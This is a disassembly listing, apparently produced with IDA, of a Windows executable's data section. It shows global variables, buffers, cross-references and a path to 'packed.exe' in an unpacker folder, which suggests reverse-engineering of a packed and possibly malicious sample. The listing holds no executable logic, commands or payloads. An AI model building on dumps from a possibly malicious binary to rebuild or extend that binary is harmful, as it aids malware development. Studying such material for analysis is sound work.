dword_4E3120 dd 71AB5DE2h ; DATA XREF: sub_409DD4+651w
; sub_409DD4+78Cr ...
dword_4E3124 dd 71AB3ECEh ; DATA XREF: sub_409DD4+637w
; sub_409DD4+77Cr ...
dword_4E3128 dd 73B81B0Fh ; DATA XREF: sub_401CC7+7462r
; sub_409DD4+C92w
dword_4E312C dd 76204E4Dh ; DATA XREF: sub_409DD4+879w
; sub_416F62+4DCr ...
dword_4E3130 dd 0 ; DATA XREF: sub_409DD4+112w
dword_4E3134 dd 1F7D886Ah ; DATA XREF: sub_409DD4+BE7w
; sub_409DD4+C22r
dword_4E3138 dd 71AB12F8h ; DATA XREF: sub_401CC7+2FDEr
; sub_401CC7+6019r ...
dword_4E313C dd 77C76551h ; DATA XREF: sub_409DD4+459w
; sub_409DD4+4BBr ...
dword_4E3140 dd 77C729E2h ; DATA XREF: sub_409DD4+49Aw
; sub_409DD4+4E3r ...
dword_4E3144 dd 77C7212Fh ; DATA XREF: sub_409DD4+466w
; sub_409DD4+4C3r ...
dword_4E3148 dd 71AB1AF4h ; DATA XREF: sub_401B4F+89r
; sub_401CC7+5254r ...
dword_4E314C dd 77D5E303h ; DATA XREF: sub_409DD4+1A6w
; sub_409DD4+1E2r ...
dword_4E3150 dd 71C4576Ch ; DATA XREF: sub_409DD4+9F2w
; sub_409DD4+A53r ...
dword_4E3154 dd 77D4702Fh ; DATA XREF: sub_409DD4+158w
; sub_409DD4+1ADr ...
dword_4E3158 dd 77E6C0E3h ; DATA XREF: sub_409DD4+8Cw
; sub_409DD4+E2r ...
dword_4E315C dd 71AB1ED3h ; DATA XREF: sub_409DD4+610w
; sub_409DD4+764r ...
dword_4E3160 dd 71B2A381h ; DATA XREF: sub_409DD4+B43w
; sub_409DD4+B5Fr
dword_4E3164 dd 77DDA595h ; DATA XREF: sub_409DD4+33Aw
; sub_41A51E+55r
dword_4E3168 dd 77DD22EAh ; DATA XREF: sub_409DD4+27Ew
; sub_409DD4+2D3r ...
dword_4E316C dd 773F97B0h ; DATA XREF: sub_409DD4+BAAw
dword_4E3170 dd 76D67A29h ; DATA XREF: sub_409DD4+AECw
; sub_40AE8D+D4r
dword_4E3174 dd 76D674FAh ; DATA XREF: sub_409DD4+ADFw
; sub_409DD4+AE6r ...
dword_4E3178 dd 71AB3C22h ; DATA XREF: sub_4019E7+A6r
; sub_401CC7+51B3r ...
dword_4E317C dd 71AB2BBFh ; DATA XREF: sub_401CC7+51A5r
; sub_401CC7+7A36r ...
dword_4E3180 dd 1F7BA3A9h ; DATA XREF: sub_409DD4+BF4w
; sub_409DD4+C2Fr
dword_4E3184 dd 71AB401Ch ; DATA XREF: sub_401CC7+1E47r
; sub_401CC7+5B6Er ...
dword_4E3188 dd 71C214BAh ; DATA XREF: sub_409DD4+9B1w
; sub_409DD4+A2Br ...
dword_4E318C dd 71AB868Dh ; DATA XREF: sub_409DD4+65Ew
; sub_409DD4+794r ...
dword_4E3190 dd 71AB1A6Dh ; DATA XREF: sub_401317+12r
; sub_4019E7+D0r ...
dword_4E3194 dd 71AB155Ah ; DATA XREF: sub_409DD4+59Bw
; sub_409DD4+70Cr ...
dword_4E3198 dd 71B22C25h ; DATA XREF: sub_409DD4+B36w
; sub_409DD4+B57r
dword_4E319C dd 71AB5A01h ; DATA XREF: sub_409DD4+540w
; sub_409DD4+6C4r ...
dword_4E31A0 dd 71B2ACCBh ; DATA XREF: sub_409DD4+B29w
; sub_409DD4+B4Ar
dword_4E31A4 dd 77E78C17h ; DATA XREF: WinMain(x,x,x,x)+52r
; sub_409DD4+31w ...
dword_4E31A8 dd 77D49A11h ; DATA XREF: sub_409DD4+17Fw
; sub_409DD4+1CAr ...
align 10h
dword_4E31B0 dd 76D62A37h ; DATA XREF: sub_409DD4+927w
; sub_409DD4+93Br ...
dword_4E31B4 dd 77E6CBF9h ; DATA XREF: sub_409DD4+99w
; sub_409DD4+EAr ...
dword_4E31B8 dd 0 ; DATA XREF: sub_409DD4:loc_409ED2w
; sub_409DD4+12Bw ...
dword_4E31BC dd 0 ; DATA XREF: sub_409DD4+126w
; sub_40AA90+1Cr
dword_4E31C0 dd 0 ; DATA XREF: sub_409DD4:loc_409FC2w
; sub_409DD4:loc_40A029w ...
dword_4E31C4 dd 0 ; DATA XREF: sub_409DD4+250w
; sub_40AA90+50r
dword_4E31C8 dd 0 ; DATA XREF: WinMain(x,x,x,x)+349r
; sub_401CC7+455Fr ...
dword_4E31CC dd 0 ; DATA XREF: sub_409DD4+41Ew
; sub_40AA90+84r
dword_4E31D0 dd 0 ; DATA XREF: sub_409DD4:loc_40A2D8w
; sub_40AA90:loc_40AB40r
dword_4E31D4 dd 0 ; DATA XREF: sub_409DD4+4FFw
; sub_40AA90+B8r
dword_4E31D8 dd 0 ; DATA XREF: sub_409DD4:loc_40A5A9w
; sub_40AA90:loc_40AB74r
dword_4E31DC dd 0 ; DATA XREF: sub_409DD4+7D0w
; sub_40AA90+ECr
dword_4E31E0 dd 0 ; DATA XREF: sub_409DD4:loc_40A694w
; sub_409DD4+8EFw ...
dword_4E31E4 dd 0 ; DATA XREF: sub_409DD4+8EAw
; sub_40AA90+120r
dword_4E31E8 dd 0 ; DATA XREF: sub_401CC7:loc_407192r
; sub_409DD4:loc_40A728w ...
dword_4E31EC dd 0 ; DATA XREF: sub_409DD4+94Fw
; sub_40AA90+154r
dword_4E31F0 dd 0 ; DATA XREF: sub_401CC7+4567r
; sub_409DD4:loc_40A844w ...
dword_4E31F4 dd 0 ; DATA XREF: sub_409DD4+A6Bw
; sub_40AA90+188r
dword_4E31F8 dd 0 ; DATA XREF: sub_409DD4:loc_40A88Ew
; sub_40AA90:loc_40AC44r
dword_4E31FC dd 0 ; DATA XREF: sub_409DD4+AB5w
; sub_40AA90+1BCr
dword_4E3200 dd 0 ; DATA XREF: sub_409DD4:loc_40A8D8w
; sub_40AA90:loc_40AC78r
dword_4E3204 dd 0 ; DATA XREF: sub_409DD4+AFFw
; sub_40AA90+1F0r
dword_4E3208 dd 0 ; DATA XREF: sub_409DD4:loc_40A94Cw
; sub_40AA90:loc_40ACACr
dword_4E320C dd 0 ; DATA XREF: sub_409DD4+B73w
; sub_40AA90+224r
dword_4E3210 dd 0 ; DATA XREF: sub_409DD4:loc_40A996w
; sub_40AA90:loc_40ACE0r
dword_4E3214 dd 0 ; DATA XREF: sub_409DD4+BBDw
; sub_40AA90+258r
dword_4E3218 dd 0 ; DATA XREF: sub_409DD4:loc_40AA34w
; sub_40AA90:loc_40AD14r
dword_4E321C dd 0 ; DATA XREF: sub_409DD4+C5Bw
; sub_40AA90+28Cr
dword_4E3220 dd 0 ; DATA XREF: sub_409DD4:loc_40AA7Ew
; sub_40AA90:loc_40AD48r
dword_4E3224 dd 0 ; DATA XREF: sub_409DD4+CA5w
; sub_40AA90+2C0r
; char byte_4E3228[]
byte_4E3228 db 14h dup(0) ; DATA XREF: sub_40AF71+32o
dword_4E323C dd 2 dup(0) ; DATA XREF: .text:0040ADCCo
dword_4E3244 dd 0 ; DATA XREF: sub_40B29D+12o
dword_4E3248 dd 0 ; DATA XREF: sub_40B3A7+33o
dword_4E324C dd 0 ; DATA XREF: sub_40B3A7+63o
byte_4E3250 db 0 ; DATA XREF: sub_40B64F+6Ar
; sub_40B64F+98w
align 8
dword_4E3258 dd 0 ; DATA XREF: sub_40C0B6+18r
; sub_40C603+9o ...
dword_4E325C dd 0 ; DATA XREF: sub_40C951+4Dr
; sub_40CB69+D9w ...
dd 3B8h dup(0)
db 3 dup(0)
byte_4E4143 db 0 ; DATA XREF: .data:004548BCo
dd 2 dup(0)
dword_4E414C dd 0 ; DATA XREF: .data:off_4517C8o
dword_4E4150 dd 101h dup(0) ; DATA XREF: .data:00454998o
db 2 dup(0)
word_4E4556 dw 0 ; DATA XREF: .data:00454A1Co
dd 0BAh dup(0)
db 3 dup(0)
byte_4E4843 db 0 ; DATA XREF: .data:00454B8Co
; .data:00454BCCo ...
dd 40h dup(0)
db 2 dup(0)
word_4E4946 dw 0 ; DATA XREF: .data:004546FCo
; .data:00454704o
dd 181h dup(0)
db 2 dup(0)
word_4E4F4E dw 0 ; DATA XREF: .data:00454D6Co
dd 0C2h dup(0)
dword_4E5258 dd 6 dup(0) ; DATA XREF: sub_40C951+D2o
; sub_40C951+13Bo ...
dword_4E5270 dd 0 ; DATA XREF: sub_40C12D+2C4w
; sub_40C12D+348o
dword_4E5274 dd 0 ; DATA XREF: sub_40C12D+33Ew
; sub_40C12D+35Ar
dword_4E5278 dd 0 ; DATA XREF: sub_40C12D+2CFw
dword_4E527C dd 0 ; DATA XREF: sub_40C12D+2B9w
; sub_40C12D:loc_40C442r
; char byte_4E5280[]
byte_4E5280 db 80h dup(0) ; DATA XREF: sub_40C12D+2E2o
; sub_40C12D+302o
dword_4E5300 dd 0 ; DATA XREF: sub_40C12D+2D5w
dword_4E5304 dd 0 ; DATA XREF: sub_40C12D+2EFw
; sub_40C12D+30Fw
dword_4E5308 dd 0 ; DATA XREF: sub_40C12D:loc_40C49Dr
align 10h
dword_4E5310 dd 0 ; DATA XREF: sub_40C12D+82w
; sub_40C12D+101o
dword_4E5314 dd 0Ch dup(0) ; DATA XREF: sub_40C12D+41o
db 0
byte_4E5345 db 3 dup(0) ; DATA XREF: .data:00454888o
; .data:00454DD4o
dd 34h dup(0)
; char byte_4E5418[]
byte_4E5418 db 104h dup(0) ; DATA XREF: sub_40C12D+69o
dword_4E551C dd 0 ; DATA XREF: sub_40C12D+F7w
; sub_40C12D+113r
dword_4E5520 dd 0 ; DATA XREF: sub_40C12D+52w
dword_4E5524 dd 0 ; DATA XREF: sub_40C12D+4Dw
; sub_40C12D+D4r
; char byte_4E5528[]
byte_4E5528 db 80h dup(0) ; DATA XREF: sub_40C12D+9Ao
; sub_40C12D+BAo
dword_4E55A8 dd 0 ; DATA XREF: sub_40C12D+8Fw
dword_4E55AC dd 0 ; DATA XREF: sub_40C12D+A7w
; sub_40C12D+C7w
dword_4E55B0 dd 0 ; DATA XREF: sub_40C12D:loc_40C256r
align 8
dword_4E55B8 dd 0 ; DATA XREF: sub_40C12D+1A5w
; sub_40C12D+225o
dword_4E55BC dd 41h dup(0) ; DATA XREF: sub_40C12D+167o
; char byte_4E56C0[]
byte_4E56C0 db 104h dup(0) ; DATA XREF: sub_40C12D+18Co
dword_4E57C4 dd 0 ; DATA XREF: sub_40C12D+21Bw
; sub_40C12D+237r
dword_4E57C8 dd 0 ; DATA XREF: sub_40C12D+17Aw
dword_4E57CC dd 0 ; DATA XREF: sub_40C12D+175w
; sub_40C12D+1F8r
; char byte_4E57D0[]
byte_4E57D0 db 80h dup(0) ; DATA XREF: sub_40C12D+1BEo
; sub_40C12D+1DEo
dword_4E5850 dd 0 ; DATA XREF: sub_40C12D+1B1w
dword_4E5854 dd 0 ; DATA XREF: sub_40C12D+1CBw
; sub_40C12D+1EBw
dword_4E5858 dd 0 ; DATA XREF: sub_40C12D:loc_40C37Ar
align 10h
dword_4E5860 dd 0 ; DATA XREF: sub_40C12D+417w
; sub_40C12D+470o
; char byte_4E5864[]
byte_4E5864 db 288h dup(0) ; DATA XREF: sub_40C12D+405o
; char byte_4E5AEC[]
byte_4E5AEC db 104h dup(0) ; DATA XREF: sub_40C12D+3CFo
dword_4E5BF0 dd 0 ; DATA XREF: sub_40C12D+3FCw
; sub_40C12D+423r
align 8
dword_4E5BF8 dd 0 ; DATA XREF: sub_40C12D+466w
; sub_40C12D+482r
dword_4E5BFC dd 0 ; DATA XREF: sub_40C12D+429w
dword_4E5C00 dd 0 ; DATA XREF: sub_40C12D+436w
dword_4E5C04 dd 0 ; DATA XREF: sub_40C12D+3F6w
dd 0
dword_4E5C0C dd 0 ; DATA XREF: sub_40C12D:loc_40C5C5r
dd 0
dword_4E5C14 dd 0 ; DATA XREF: sub_40BD79+Er
; sub_40BD79+32r ...
dword_4E5C18 dd 0 ; DATA XREF: sub_40BD79+9r
; sub_40BD79+26r ...
; char byte_4E5C1C[]
byte_4E5C1C db 208h dup(0) ; DATA XREF: sub_40CDC8+8Do
dword_4E5E24 dd 2 dup(0) ; DATA XREF: sub_40D75F+68o
dword_4E5E2C dd 0 ; DATA XREF: sub_40D1FF+13o
dword_4E5E30 dd 0 ; DATA XREF: sub_40DA4E+10o
dword_4E5E34 dd 2080Ah ; DATA XREF: sub_40E2CB+8w
; sub_40E3C7+2D6o
dd 0
dword_4E5E3C dd 0 ; DATA XREF: sub_40E3C7+64o
dword_4E5E40 dd 0 ; DATA XREF: sub_40E3C7+69o
dword_4E5E44 dd 3 dup(0) ; DATA XREF: sub_40E3C7+20Co
dword_4E5E50 dd 0 ; DATA XREF: sub_40EC5E+148o
dword_4E5E54 dd 0 ; DATA XREF: sub_40EF29+1Fr
; sub_40EF74+BCo ...
dword_4E5E58 dd 0 ; DATA XREF: sub_40EF74+B7o
; sub_40EF74+DAr ...
dword_4E5E5C dd 0 ; DATA XREF: sub_40EF74+9Ao
; sub_40EF74+CFr ...
dword_4E5E60 dd 0 ; DATA XREF: sub_40EEE6+35r
; sub_40EF74+95o ...
dword_4E5E64 dd 0 ; DATA XREF: sub_40EEE6+17r
; sub_40EF29+3Dr ...
dd 0
dword_4E5E6C dd 2AE3h ; DATA XREF: sub_40C12D+2AEr
; sub_40F149+10w ...
dd 0
dword_4E5E74 dd 0 ; DATA XREF: sub_40BDE5+1Cr
; sub_40F160+27Cw
dword_4E5E78 dd 0 ; DATA XREF: sub_40FA39+2Aw
; sub_40FA39+51r ...
dd 3 dup(0)
dword_4E5E88 dd 3 dup(0) ; DATA XREF: sub_410B5C+74o
dword_4E5E94 dd 0 ; DATA XREF: sub_411240+146r
dd 0
dword_4E5E9C dd 2 dup(0) ; DATA XREF: sub_411240+139o
byte_4E5EA4 db 0 ; DATA XREF: sub_412217+1EFr
align 4
dword_4E5EA8 dd 0 ; DATA XREF: sub_412DD2+4w
; sub_412DD2+9o
align 10h
byte_4E5EB0 db 0 ; DATA XREF: sub_41391E+1D3w
; sub_41391E+2D2o
align 2
word_4E5EB2 dw 0 ; DATA XREF: sub_41391E+1E3w
word_4E5EB4 dw 0 ; DATA XREF: sub_41391E+1E9w
word_4E5EB6 dw 0 ; DATA XREF: sub_41391E+1F0w
byte_4E5EB8 db 0 ; DATA XREF: sub_41391E+1F7w
byte_4E5EB9 db 0 ; DATA XREF: sub_41391E+1FEw
word_4E5EBA dw 0 ; DATA XREF: sub_41391E+204w
dword_4E5EBC dd 0 ; DATA XREF: sub_41391E+234w
; sub_41391E+250w
dword_4E5EC0 dd 0 ; DATA XREF: sub_41391E+258w
byte_4E5EC4 db 0 ; DATA XREF: sub_41391E+26Aw
byte_4E5EC5 db 0 ; DATA XREF: sub_41391E+27Dw
word_4E5EC6 dw 0 ; DATA XREF: sub_41391E+295w
word_4E5EC8 dw 0 ; DATA XREF: sub_41391E+2A4w
word_4E5ECA dw 0 ; DATA XREF: sub_41391E+29Cw
dword_4E5ECC dd 101h dup(0) ; DATA XREF: sub_41391E+2B9o
; char byte_4E62D0[]
byte_4E62D0 db 200h dup(0) ; DATA XREF: sub_401CC7+2F63o
; sub_401CC7:loc_404CB8o ...
byte_4E64D0 db 0 ; DATA XREF: sub_4151C6+1A1w
; sub_4151C6+27Ao
align 2
word_4E64D2 dw 0 ; DATA XREF: sub_4151C6+1AEw
word_4E64D4 dw 0 ; DATA XREF: sub_4151C6+1B8w
word_4E64D6 dw 0 ; DATA XREF: sub_4151C6+1C1w
byte_4E64D8 db 0 ; DATA XREF: sub_4151C6+1C8w
byte_4E64D9 db 0 ; DATA XREF: sub_4151C6+1CFw
word_4E64DA dw 0 ; DATA XREF: sub_4151C6+1D6w
dword_4E64DC dd 0 ; DATA XREF: sub_4151C6+1E3w
dword_4E64E0 dd 0 ; DATA XREF: sub_4151C6+1EBw
word_4E64E4 dw 0 ; DATA XREF: sub_4151C6+244w
word_4E64E6 dw 0 ; DATA XREF: sub_4151C6+22Cw
word_4E64E8 dw 0 ; DATA XREF: sub_4151C6+256w
word_4E64EA dw 0 ; DATA XREF: sub_4151C6+1F7w
dword_4E64EC dd 101h dup(0) ; DATA XREF: sub_4151C6+265o
dword_4E68F0 dd 0 ; DATA XREF: sub_401CC7+1A14w
; sub_401CC7+2F5Br ...
align 10h
byte_4E6900 db 0 ; DATA XREF: sub_4156AF+244o
; sub_4156AF+253w ...
byte_4E6901 db 0 ; DATA XREF: sub_4156AF+267w
word_4E6902 dw 0 ; DATA XREF: sub_4156AF+298w
word_4E6904 dw 0 ; DATA XREF: sub_4156AF+27Fw
; sub_4156AF:loc_415A75w
word_4E6906 dw 0 ; DATA XREF: sub_4156AF+29Ew
byte_4E6908 db 0 ; DATA XREF: sub_4156AF+28Bw
byte_4E6909 db 0 ; DATA XREF: sub_4156AF+260w
word_4E690A dw 0 ; DATA XREF: sub_4156AF+3E6w
; sub_4156AF+410w
dword_4E690C dd 0 ; DATA XREF: sub_4156AF:loc_41596Cw
; sub_4156AF+38Er
dword_4E6910 dd 0 ; DATA XREF: sub_4156AF+2CAw
word_4E6914 dw 0 ; DATA XREF: sub_4156AF+388w
; sub_4156AF+3DCo
word_4E6916 dw 0 ; DATA XREF: sub_4156AF+329w
; sub_4156AF+34Er ...
dword_4E6918 dd 0 ; DATA XREF: sub_4156AF+300w
; sub_4156AF+3CDw
dword_4E691C dd 0 ; DATA XREF: sub_4156AF+31Cw
; sub_4156AF+39Fw ...
byte_4E6920 db 0 ; DATA XREF: sub_4156AF+305r
; sub_4156AF+313w
byte_4E6921 db 0 ; DATA XREF: sub_4156AF+2CFw
; sub_4156AF+398w ...
word_4E6922 dw 0 ; DATA XREF: sub_4156AF+2DDw
word_4E6924 dw 0 ; DATA XREF: sub_4156AF+3EDw
; sub_4156AF+41Ew
word_4E6926 dw 0 ; DATA XREF: sub_4156AF+322w
word_4E6928 dw 0 ; DATA XREF: sub_4156AF+354w
; sub_4156AF+426o
word_4E692A dw 0 ; DATA XREF: sub_4156AF+363w
; sub_4156AF+3FDw
dword_4E692C dd 0 ; DATA XREF: sub_4156AF+35Dw
dd 2 dup(0)
dword_4E6938 dd 0 ; DATA XREF: sub_4156AF+393w
; sub_4156AF+40Bo
dword_4E693C dd 0 ; DATA XREF: sub_4156AF+32Fw
byte_4E6940 db 0 ; DATA XREF: sub_4156AF+335w
byte_4E6941 db 0 ; DATA XREF: sub_4156AF+33Bw
word_4E6942 dw 0 ; DATA XREF: sub_4156AF+348w
dword_4E6944 dd 7 dup(0) ; DATA XREF: sub_4156AF+3E1o
dword_4E6960 dd 0 ; DATA XREF: sub_4156AF+30w
; sub_4156AF+42Fr
; char byte_4E6964[]
byte_4E6964 db 404h dup(0) ; DATA XREF: sub_4156AF+1C0o
; sub_4156AF+472o
; char byte_4E6D68[]
byte_4E6D68 db 4000h dup(0) ; DATA XREF: sub_415C3F+1Do
; .text:00415D29o ...
; char byte_4EAD68[]
byte_4EAD68 db 4 dup(0) ; DATA XREF: sub_415C3F+13o
; .text:00415D70o ...
dword_4EAD6C dd 0 ; DATA XREF: sub_416159+Fr
; sub_416352+12r
dd 2 dup(0)
dword_4EAD78 dd 0 ; DATA XREF: .data:0044D448o
dword_4EAD7C dd 0 ; DATA XREF: .data:0044D460o
dword_4EAD80 dd 0 ; DATA XREF: .data:0044D478o
dword_4EAD84 dd 0 ; DATA XREF: .data:0044D490o
dword_4EAD88 dd 0 ; DATA XREF: .data:0044D4A8o
dword_4EAD8C dd 0 ; DATA XREF: .data:0044D4C0o
dword_4EAD90 dd 0 ; DATA XREF: .data:0044D4D8o
dword_4EAD94 dd 0 ; DATA XREF: .data:0044D4F0o
dword_4EAD98 dd 0 ; DATA XREF: .data:0044D508o
dword_4EAD9C dd 0 ; DATA XREF: .data:0044D520o
dword_4EADA0 dd 0 ; DATA XREF: .data:0044D538o
dword_4EADA4 dd 0 ; DATA XREF: .data:0044D550o
dword_4EADA8 dd 0 ; DATA XREF: .data:0044D568o
dword_4EADAC dd 0 ; DATA XREF: .data:0044D598o
dword_4EADB0 dd 0 ; DATA XREF: .data:0044D5B0o
dword_4EADB4 dd 0 ; DATA XREF: .data:0044D5C8o
dword_4EADB8 dd 0 ; DATA XREF: .data:0044D5E0o
dword_4EADBC dd 0 ; DATA XREF: .data:0044D5F8o
dword_4EADC0 dd 0 ; DATA XREF: .data:0044D610o
dword_4EADC4 dd 0 ; DATA XREF: .data:0044D628o
dword_4EADC8 dd 2 dup(0) ; DATA XREF: .data:0044D640o
dword_4EADD0 dd 2 dup(0) ; DATA XREF: sub_4167BF:loc_416852o
dword_4EADD8 dd 0 ; DATA XREF: sub_416F62+431o
dword_4EADDC dd 0Eh dup(0) ; DATA XREF: sub_41748B+Fo
; char byte_4EAE14[]
byte_4EAE14 db 200h dup(0) ; DATA XREF: sub_41815A+41o
; wchar_t word_4EB014
word_4EB014 dw 0 ; DATA XREF: sub_417A8B+C7o
; sub_417DE6+DDo ...
align 4
dd 1FFh dup(0)
; wchar_t word_4EB814
word_4EB814 dw 0 ; DATA XREF: sub_417A8B+D6o
; sub_417DE6+F4o ...
align 4
dd 1FFh dup(0)
dword_4EC014 dd 0 ; DATA XREF: sub_417A8B+86w
; sub_417C5D+94r
dword_4EC018 dd 0 ; DATA XREF: sub_417A8B+A7w
; sub_4180C3+55r ...
dword_4EC01C dd 0 ; DATA XREF: sub_417A8B+A0w
; sub_417C5D+D6r ...
dword_4EC020 dd 0 ; DATA XREF: sub_417A8B+79w
; sub_417C5D+35r ...
; char byte_4EC024[]
byte_4EC024 db 200h dup(0) ; DATA XREF: sub_4180C3+5Eo
dword_4EC224 dd 0 ; DATA XREF: sub_417A8B+93w
; sub_417C5D+A2r
dd 0
dword_4EC22C dd 0 ; DATA XREF: sub_417A8B+E7o
; sub_417A8B+103r ...
dword_4EC230 dd 0 ; DATA XREF: sub_417DE6+17Bw
; sub_417F8D+107w
; void *Src
Src dd 0 ; DATA XREF: sub_417DE6+180w
; sub_417F8D+10Dw ...
dword_4EC238 dd 0 ; DATA XREF: sub_417DE6+159w
; sub_4180C3+4Fr
align 10h
dword_4EC240 dd 0 ; DATA XREF: sub_41842D+22w
; sub_41842D:loc_4185B2w ...
dword_4EC244 dd 0 ; DATA XREF: sub_401CC7+3CBDo
; sub_4182F9+12o ...
dd 0
dword_4EC24C dd 0 ; DATA XREF: sub_41842D+1Cr
; sub_4185D2+3Ar
dd 7Fh dup(0)
dword_4EC44C dd 0 ; DATA XREF: sub_41842D+28r
; sub_4185D2+4Aw
dd 1944h dup(0)
dword_4F2960 dd 0 ; DATA XREF: sub_4185D2+23o
dword_4F2964 dd 0 ; DATA XREF: sub_401CC7+3CDBo
; sub_4182F9+3Co ...
dword_4F2968 dd 0 ; DATA XREF: .data:0044F33Co
dword_4F296C dd 0 ; DATA XREF: .data:0044F344o
dword_4F2970 dd 0 ; DATA XREF: .data:0044F348o
dword_4F2974 dd 0 ; DATA XREF: .data:0044F34Co
dword_4F2978 dd 0 ; DATA XREF: .data:0044F350o
dword_4F297C dd 0 ; DATA XREF: .data:0044F36Co
dword_4F2980 dd 0 ; DATA XREF: .data:0044F374o
dword_4F2984 dd 0 ; DATA XREF: .data:0044F378o
dword_4F2988 dd 0 ; DATA XREF: .data:0044F384o
dword_4F298C dd 0 ; DATA XREF: .data:0044F388o
dword_4F2990 dd 0 ; DATA XREF: .data:0044F390o
; char byte_4F2994[]
byte_4F2994 db 204h dup(0) ; DATA XREF: sub_418E65+6Ao
dword_4F2B98 dd 0 ; DATA XREF: sub_4190F6+E9o
; char byte_4F2B9C[]
byte_4F2B9C db 5Ch dup(0) ; DATA XREF: sub_4196AA:loc_4197C7o
; sub_4196AA+131o ...
; char byte_4F2BF8[]
byte_4F2BF8 db 200h dup(0) ; DATA XREF: sub_41A460+7Co
; sub_41A460+A5o
dword_4F2DF8 dd 0 ; DATA XREF: sub_419A25+45w
; sub_419A25+4Dr ...
; char byte_4F2DFC[]
byte_4F2DFC db 5Ch dup(0) ; DATA XREF: sub_41A32C:loc_41A44Eo
; sub_41A32C+12Do
; char byte_4F2E58[]
byte_4F2E58 db 200h dup(0) ; DATA XREF: sub_419965+4Co
; sub_419965+7Eo ...
byte_4F3058 db 0 ; DATA XREF: sub_419A25+29r
; sub_419A25+34w
align 4
; char byte_4F305C[]
byte_4F305C db 200h dup(0) ; DATA XREF: sub_419C7C+61o
; sub_419C7C+89o ...
; char byte_4F325C[]
byte_4F325C db 204h dup(0) ; DATA XREF: sub_41958E:loc_4195C6o
; sub_41958E+5Bo
dword_4F3460 dd 0 ; DATA XREF: sub_41A901:loc_41A922r
; sub_41A9F0+54r ...
dword_4F3464 dd 0 ; DATA XREF: sub_41A901r
; sub_41A9F0+37r ...
dword_4F3468 dd 0 ; DATA XREF: sub_41A931+1Ar
; sub_41AB45+83o
dword_4F346C dd 0 ; DATA XREF: sub_41A901:loc_41A915r
; sub_41AB45+11Bw
; char byte_4F3470[]
byte_4F3470 db 34h dup(0) ; DATA XREF: sub_41A9F0+13o
; sub_41AB45:loc_41AC86o
; int dword_4F34A4
dword_4F34A4 dd 0 ; DATA XREF: sub_41A9F0+CDr
; sub_41A9F0+ECr ...
dd 0
; char byte_4F34AC[]
byte_4F34AC db 4 dup(0) ; DATA XREF: sub_41A969+9o
dword_4F34B0 dd 0 ; DATA XREF: sub_41AB45+DFo
; char byte_4F34B4[]
byte_4F34B4 db 4 dup(0) ; DATA XREF: sub_41AB45:loc_41AC81o
; char byte_4F34B8[]
byte_4F34B8 db 38h dup(0) ; DATA XREF: sub_41B76F+47o
dword_4F34F0 dd 0 ; DATA XREF: sub_41B92C+13o
dword_4F34F4 dd 941E90h ; DATA XREF: __heap_alloc_dbg+262w
; _realloc_help:loc_41CA8Br ...
dword_4F34F8 dd 1545h ; DATA XREF: __heap_alloc_dbg:loc_41C3F3r
; __heap_alloc_dbg+21Cw ...
dword_4F34FC dd 943230h ; DATA XREF: __heap_alloc_dbg:loc_41C429r
; __heap_alloc_dbg+252r ...
dword_4F3500 dd 118Ah ; DATA XREF: __heap_alloc_dbg+222r
; __heap_alloc_dbg+22Aw ...
dword_4F3504 dd 118Ah ; DATA XREF: __heap_alloc_dbg+235r
; __heap_alloc_dbg+243w ...
dword_4F3508 dd 0 ; DATA XREF: __sopen+217r
dword_4F350C dd 0A28h ; DATA XREF: sub_41D910:loc_41D97Ar
; sub_41D910:loc_41D9EDr ...
dword_4F3510 dd 501h ; DATA XREF: start+64w
dword_4F3514 dd 5 ; DATA XREF: start+4Fw start+55r
dword_4F3518 dd 1 ; DATA XREF: start+3Ew start+5Er
dword_4F351C dd 1 ; DATA XREF: WinMain(x,x,x,x):loc_401710r
; __setargv+C6w
dword_4F3520 dd 942840h ; DATA XREF: WinMain(x,x,x,x)+2FEr
; WinMain(x,x,x,x)+31Er ...
align 8
dword_4F3528 dd 942888h ; DATA XREF: __setenvp+7Bw
; __setenvp+81r ...
dword_4F352C dd 0 ; DATA XREF: ___crtsetenv+49r
dword_4F3530 dd 0 ; DATA XREF: _getenv+24r
; ___wtomb_environ+6r ...
align 8
off_4F3538 dd offset aCM_unpackerPac ; DATA XREF: __setargv+26w
; __setargv+3Cr
; "C:\\m_unpacker\\packed.exe"
align 10h
byte_4F3540 db 0 ; DATA XREF: _doexit+30w
; ___endstdio+8r
align 4
dword_4F3544 dd 0 ; DATA XREF: _doexit:loc_41EBA3w
dword_4F3548 dd 0 ; DATA XREF: _doexit+9r
; _doexit:loc_41EC4Bw
dword_4F354C dd 0 ; DATA XREF: _doexit+95r _doexit+AFw
dword_4F3550 dd 0 ; DATA XREF: .text:00420424r
; .text:0042042Fw
dword_4F3554 dd 0 ; DATA XREF: __fpmath+10w
dword_4F3558 dd 0 ; DATA XREF: _time+88r _time+F8w
align 10h
dword_4F3560 dd 0 ; DATA XREF: _time+7Dr _time+100w ...
byte_4F3564 db 2 dup(0) ; DATA XREF: _time+109w
word_4F3566 dw 0 ; DATA XREF: _time+52r
dword_4F3568 dd 0 ; DATA XREF: _time+3Dr _time+112w ...
dword_4F356C dd 0 ; DATA XREF: _time+11Aw
dword_4F3570 dd 0 ; DATA XREF: start+C3w __setenvp+1Br ...
align 8
dword_4F3578 dd 0 ; DATA XREF: __amsg_exit+3r
; _fast_error_exit+3r ...
dword_4F357C dd 0 ; DATA XREF: __openfile:loc_427CF5r
; __openfile+2CEw ...
dword_4F3580 dd 0 ; DATA XREF: __CrtDbgReport+93r
; __CrtDbgReport+C8w ...
dword_4F3584 dd 0 ; DATA XREF: _malloc+Ar
; __malloc_dbg+10r ...
dword_4F3588 dd 0 ; DATA XREF: _set_new_handler(int (*)(uint))+Er
; _set_new_handler(int (*)(uint))+19w ...
align 10h
dword_4F3590 dd 143E28h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: .data:off_451C04o
dword_4F35A8 dd 143DB0h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: .data:off_451C44o
dword_4F35C0 dd 143E00h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: .data:off_451C24o
dword_4F35D8 dd 143DD8h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: .data:off_451C34o
dword_4F35F0 dd 0 ; DATA XREF: ___sbh_decommit_pages+8Br
; ___sbh_decommit_pages+93w ...
dword_4F35F4 dd 1 ; DATA XREF: __setmbcp:loc_429622r
; _getSystemCP+3w ...
dword_4F35F8 dd 0 ; DATA XREF: __stbuf+A6r __stbuf+C9w ...
align 10h
dword_4F3600 dd 0 ; DATA XREF: __strcmpi+Co
; __setlocale_set_cat+82r ...
align 8
; int dword_4F3608
dword_4F3608 dd 0 ; DATA XREF: __strupr+Dr
; __strupr:loc_421916r ...
